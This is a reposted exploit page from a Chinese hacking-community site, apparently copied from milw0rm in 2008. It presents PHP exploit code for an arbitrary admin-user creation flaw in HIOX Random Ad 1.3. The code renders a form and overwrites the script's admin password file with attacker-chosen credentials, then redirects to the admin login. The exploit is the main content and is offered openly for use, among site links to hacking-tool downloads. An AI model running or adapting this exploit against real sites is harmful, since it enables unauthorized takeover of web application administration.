距离元旦还有: 设为首页 加入收藏
点击进入夜鹰海盗盟首页
用户登陆 用户名: 密码:
首页 文章中心 黑软下载 动画教程 会员专区 海盗源码 绿软下载 业务介绍 发布动画 QQ空间 论坛社区
学技术来---夜鹰海盗盟
软件 教程 源码 绿软 文章 会员
请记住本站永久域名 WwW.YYhacker.CoM 夜鹰海盗盟
当前位置:夜鹰海盗盟文章中心漏洞中心web apps → 文章内容

任意添加管理员用户利用

减小字体 增大字体 作者:milw0rm  来源:不详  发布时间:2008-8-4 0:12:29
<?php
@session_start();
?>
<table align=center width=72% height=95% ><tr><td>
<?php
/*
HIOX Random Ad 1.3 Arbitrary Add Admin User Vulnerability
[~] Discoverd & exploited by Stack
[~]Greeatz All Freaind
[~]Special thnx to Str0ke
[~] Name Script : HIOX Random Ad 1.3
[~] Download : http://www.hscripts.com/scripts/php/downloads/HRA_1_3.zip
You need to change http://localhost/path/ with the link of script it's very importenet
*/
$creat = "true";
$iswrite = $_POST['createe'];
if($user=="" && $pass==""){
if($iswrite == "creatuser")
{
    $usname = $_POST['usernam'];
    $passwrd = md5($_POST['pword']);
    if($usname != "" && $passwrd != ""){
$filee = "http://localhost/path/admin/passwo.php";
$file1 = file($filee);
        $file = fopen($filee,'w');
        fwrite($file, "<?php \n");
        fwrite($file, "$");
        fwrite($file, "user=\"$usname\";\n");
        fwrite($file, "$");
        fwrite($file, "pass=\"$passwrd\";");
        fwrite($file, "\n?>");
        fclose($file);
    $creat = "false";
    echo "<div align=center style='color: green;'><b>New User Created
  <meta http-equiv=\"refresh\" content=\"2; url=http://localhost/path/admin/index.php\">
  <br>Please Wait You will be Redirected to Login Page
   </div>";
    }
    else{
        echo "<div align=center style='color: red;'><b>Enter correct Username or Password </div>";
    }
}
if($creat == "true"){
?>
<table align=center valign=center bgcolor=000000 align=center cellpadding=0 style="border: 1px #000000 solid;">
<tr width=400 height=20><td align=center bgcolor="000000"
style="color: ffffff; font-family: arial,verdana,san-serif; font-size:13px;">
Create New User </td></tr>
     <tr width=400 height=20><td>
        <form name=setf method=POST action=<?php echo $PHP_SELF;?>>
        <table style="color:#ffffff; font-family: arial,verdana,san-serif; font-size:13px;">
        <tr><td>User Name</td><td><input class="ta" name="usernam"  type=text maxlength=20 >
                </td></tr>
        <tr><td>Password</td><td><input class="ta" name="pword" maxlength=20 type=password></td></tr>
        <input name="createe" type=hidden value="creatuser"></td></tr>
        <tr><td></td><td><input type=submit value="create"></td></tr>
        </table>
</form>
</td></tr></table>
<?php
}
}else{
echo "<div align=center style='color: red;'><b>User Already Exist</div>";
}
?>
</td></tr></table>

# milw0rm.com
 
 
Copyright 夜鹰网络 2003-2008版权所有 All Rights Reserved Some Rights Reserved.
客服QQ:5207111|售后QQ:5168116|投稿QQ:9626837|技术QQ:272110110
中华人民共和国信息产业部网站备案编号:沪ICP备07020296号
 零基础起步·系统化培训 
 普及安全意识·提高全民水平
 遵守国家法律·遵守黑客守则